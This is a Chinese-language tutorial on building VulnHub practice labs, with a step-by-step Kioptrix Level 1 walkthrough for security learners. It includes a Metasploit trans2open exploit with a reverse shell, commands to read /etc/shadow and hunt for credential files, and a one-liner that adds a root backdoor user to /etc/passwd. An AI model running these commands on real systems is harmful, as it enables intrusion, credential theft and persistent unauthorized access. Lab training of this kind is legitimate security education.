VulnHub 环境搭建及实战完全指南
《VulnHub 靶机实战完全指南》是一份针对网络安全学习者的实用手册。文章详细介绍了如何搭建 VulnHub 渗透测试环境,包括虚拟化平台选择、靶机导入、网络配置等关键步骤。以经典靶机 Kioptrix Level 1 为例,展示了从信息收集、漏洞扫描到实际攻击的完整流程,涵盖 Samba 漏洞利用、提权技巧等核心内容。同时提供了靶机难度分类、常用工具速查表和学习建议,帮助读者系统性地提升渗透测
·
VulnHub 环境搭建及实战完全指南
VulnHub 是一个汇集了数百个渗透测试靶机的宝藏平台。所有靶机都是由安全爱好者制作并免费分享,覆盖了从初学者到专家各个难度级别。
📚 VulnHub 概述
官网:https://www.vulnhub.com
特点:
- 完全免费
- 社区驱动,持续更新
- 真实场景模拟
- 涵盖各种技术栈和漏洞类型
- 提供完整的 Write-up 和解决方案
🚀 环境搭建步骤
步骤1:准备虚拟化环境
# 1. 安装虚拟机软件(选择其一)
# VMware Workstation Player(免费版)
# 或 VirtualBox(完全免费)
# 2. 安装攻击机系统
# 推荐 Kali Linux(渗透测试专用)
# 下载地址:https://www.kali.org/get-kali/
# 3. 下载 VulnHub 靶机
# 访问 vulnhub.com,选择喜欢的靶机
# 点击 "Download" 获取 .ova 或 .7z 文件
# 示例:下载经典的 Kioptrix 系列
# Kioptrix Level 1(入门首选)
# Kioptrix Level 2
# Kioptrix Level 3
步骤2:导入靶机虚拟机
# 方法一:使用 OVA 文件(推荐)
# 1. 解压下载的文件(如果是 .7z 格式)
7z x Kioptrix-Level-1.7z
# 2. 在 VMware/VirtualBox 中:
# 文件 → 导入 → 选择 .ova 文件
# 根据提示完成导入
# 方法二:使用 VMDK 文件
# 1. 创建新虚拟机
# 2. 选择 "使用现有虚拟硬盘"
# 3. 选择解压后的 .vmdk 文件
步骤3:配置网络
# 关键配置:确保攻击机和靶机在同一网络
# 建议使用 NAT 或 Host-Only 网络
# VMware 设置:
# 1. 靶机网络适配器 → NAT 模式
# 2. Kali 攻击机 → 同样使用 NAT 模式
# 3. 两者都会获得同一网段的IP(如 192.168.x.x)
# VirtualBox 设置:
# 1. 创建 Host-Only 网络适配器
# 2. 为所有虚拟机分配此适配器
步骤4:启动并发现靶机 IP
# 启动 Kali Linux 和靶机
# 在 Kali 中查找靶机 IP:
# 方法1:使用 arp-scan
sudo arp-scan -l
# 输出示例:
# 192.168.1.1 网关
# 192.168.1.100 Kali 自己
# 192.168.1.150 未知设备 ← 很可能是靶机
# 方法2:使用 netdiscover
sudo netdiscover -r 192.168.1.0/24
# 方法3:nmap 扫描整个网段
sudo nmap -sn 192.168.1.0/24
🎯 实战演练:以 Kioptrix Level 1 为例
Kioptrix Level 1 是最经典的入门靶机,包含了基本的漏洞利用路径。
阶段1:信息收集
# 1. 找到靶机IP(假设为 192.168.1.150)
TARGET=192.168.1.150
# 2. 全面端口扫描
sudo nmap -sS -sV -sC -O -p- $TARGET -oN nmap_full.txt
# 预期结果:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 2.9p2
# 80/tcp open http Apache httpd 1.3.20
# 111/tcp open rpcbind 2 (RPC #100000)
# 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
# 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux)
# 1024/tcp open status 1 (RPC #100024)
# 3. 详细服务扫描
# SMB 服务扫描
enum4linux $TARGET
smbclient -L //$TARGET/
# Web 目录扫描
dirb http://$TARGET/
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt
# 4. 漏洞扫描
nikto -h http://$TARGET/
阶段2:漏洞发现
# 分析 nmap 结果发现关键信息:
# 1. Apache 1.3.20(古老版本,有已知漏洞)
# 2. OpenSSH 2.9p2(老版本)
# 3. Samba 2.2.1a(存在 trans2open 漏洞)
# 搜索相关漏洞
searchsploit apache 1.3.20
searchsploit samba 2.2.1a
searchsploit openssh 2.9
# 发现关键漏洞:
# Samba trans2open 缓冲区溢出(MSF 中有现成模块)
阶段3:漏洞利用
方案一:通过 Samba 漏洞获取 root
# 使用 Metasploit
msfconsole
# 搜索相关模块
search trans2open
# 使用漏洞模块
use exploit/linux/samba/trans2open
set RHOSTS $TARGET
set RPORT 139
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.1.100 # Kali IP
set LPORT 4444
# 执行攻击
exploit
# 成功会获得 root shell!
whoami # 显示 root
方案二:通过 Apache mod_ssl 漏洞(如果需要)
# Kioptrix 1 的另一个路径
searchsploit apache mod_ssl
# 在 Metasploit 中
use exploit/unix/webapp/apache_mod_ssl
set RHOSTS $TARGET
exploit
阶段4:提权与后渗透
# 1. 检查当前权限
whoami
id
# 2. 如果是普通用户,尝试提权
# 查看 sudo 权限
sudo -l
# 查看可写的敏感文件
find / -type f -perm -o+w 2>/dev/null
find / -type d -perm -o+w 2>/dev/null
# 3. 获取密码哈希
cat /etc/shadow
# 4. 查找敏感信息
find / -name "*.txt" -o -name "*.conf" -o -name "*.log"
find /home -type f -name "*pass*" -o -name "*cred*"
# 5. 建立持久化访问
# 添加后门用户
echo "backdoor:$(openssl passwd -1 password):0:0:root:/root:/bin/bash" >> /etc/passwd
阶段5:寻找 flag
# VulnHub 靶机通常有 flag 文件
# 搜索 flag 或 proof.txt
find / -name "*flag*" -o -name "*proof*" -o -name "*.txt" 2>/dev/null
cat /root/proof.txt # 通常在这里
# Kioptrix Level 1 的 flag 在 /root 目录
cat /root/conquered.txt
📊 VulnHub 靶机难度分类
新手入门级
- Kioptrix Level 1 - 最简单的缓冲区溢出
- Stapler - 信息收集综合练习
- Mr. Robot - 基于电视剧的真实模拟
- Basic Pentesting - 基础Web和权限提升
中级进阶
- Kioptrix Level 2 - 需要更多技巧
- VulnOS - 模拟完整操作系统
- IMF - 取证和Web结合
- PwnLab - 需要多步骤攻击链
专家挑战级
- Kioptrix Level 3 - 复杂的提权路径
- Hackademic - 学术挑战系列
- DevRandom - CTF风格挑战
- Digitalworld.local - 完整域环境
🔧 实用工具和命令速查
信息收集
# 网络发现
arp-scan -l
netdiscover -r 192.168.1.0/24
# 端口扫描
nmap -sS -sV -sC -O -p- <target>
nmap --script vuln <target>
# Web 扫描
whatweb http://<target>
nikto -h http://<target>
dirb http://<target> /usr/share/wordlists/dirb/common.txt
漏洞利用
# Metasploit 常用命令
msfconsole
search <漏洞名>
use <模块路径>
show options
set <选项> <值>
exploit
sessions -l
sessions -i <id>
# 手动利用
# 下载 exploit 代码
searchsploit -m <编号>
# 查看并修改利用代码
后渗透
# Linux 提权检查
linpeas.sh # 自动提权检查脚本
linux-exploit-suggester.sh
# Windows 提权检查
winpeas.exe
windows-exploit-suggester.py
# 密码破解
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
💡 学习建议和最佳实践
学习方法
- 不要直接看 Write-up:至少尝试2-3小时再看解法
- 自己记录过程:写自己的渗透测试报告
- 尝试多种方法:同一个目标可能有不同攻击路径
- 理解原理:不仅仅是运行工具,要明白为什么
实战流程模板
1. 信息收集阶段
- 网络发现
- 端口扫描
- 服务识别
- 目录爆破
2. 漏洞分析阶段
- 搜索已知漏洞
- 手动测试漏洞
- 验证漏洞存在
3. 漏洞利用阶段
- 准备Payload
- 建立连接
- 获取初始访问
4. 后渗透阶段
- 权限提升
- 信息收集
- 横向移动(如果有多台机器)
- 获取flag
5. 清理和报告
- 清理痕迹(可选)
- 整理攻击路径
- 写总结报告
🎮 挑战路线图
第一个月:基础建立
- Kioptrix Level 1-3(理解基本流程)
- Stapler(综合信息收集)
- Basic Pentesting(Web+系统结合)
第二个月:技能扩展
- IMF(取证技能)
- PwnLab(多步骤攻击链)
- VulnOS(完整系统渗透)
第三个月:高级挑战
- Digitalworld.local(域渗透)
- Hackademic RTB1/2(CTF挑战)
- DevRandom CTF(高级技巧)
🆘 故障排除
常见问题1:虚拟机无法启动
# 检查虚拟化支持
# BIOS中开启VT-x/AMD-V
# 禁用Windows Hyper-V(如果主机是Windows)
# 检查磁盘空间
df -h
# 尝试不同格式
# 有些靶机需要特定版本的VMware/VirtualBox
常见问题2:找不到靶机IP
# 确保网络模式正确
# 使用统一的NAT或Host-Only
# 手动扫描所有可能IP
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done
# 查看靶机启动日志
# 有时靶机会显示自己的IP
常见问题3:漏洞利用失败
# 1. 检查服务版本是否匹配
# 2. 尝试不同的Payload
# 3. 关闭防火墙(在靶机内)
# 4. 检查网络连通性
# 5. 查看Metasploit的详细输出
set VERBOSE true
🌟 额外资源
学习平台
- HackTheBox:在线渗透测试平台
- TryHackMe:结构化的学习路径
- PentesterLab:专注于Web安全
工具集合
- Kali Linux:渗透测试专用系统
- Parrot OS:另一个安全测试系统
- Commando VM:Windows下的渗透环境
社区支持
- VulnHub论坛:讨论靶机解法
- Reddit r/netsec:安全资讯
- Discord安全频道:实时交流
重要提醒:
- 所有练习仅在虚拟环境中进行
- 不要攻击未经授权的系统
- 遵守当地法律法规
- 将技能用于合法的安全测试和防御
现在就开始你的 VulnHub 之旅吧! 从 Kioptrix Level 1 开始,逐步挑战更难的目标。记住,每一次失败都是学习的机会。祝你学习愉快!
更多推荐
所有评论(0)